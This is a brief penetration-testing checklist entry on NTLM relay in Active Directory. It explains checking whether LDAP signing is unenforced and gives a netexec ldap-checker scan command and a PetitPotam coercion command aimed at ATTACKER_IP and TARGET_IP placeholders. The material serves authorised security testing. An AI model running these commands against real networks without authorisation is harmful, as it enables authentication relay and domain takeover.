NTLM Relay Check

ad enumchecklist

Walkthrough

Check whether LDAP signing is unenforced so captured/coerced authentication can be relayed. Coercion tools like PetitPotam can force a target to authenticate to you for the relay.

Commands

bash

netexec -M ldap-checker <IP>

bash

python3 PetitPotam.py <ATTACKER_IP> <TARGET_IP>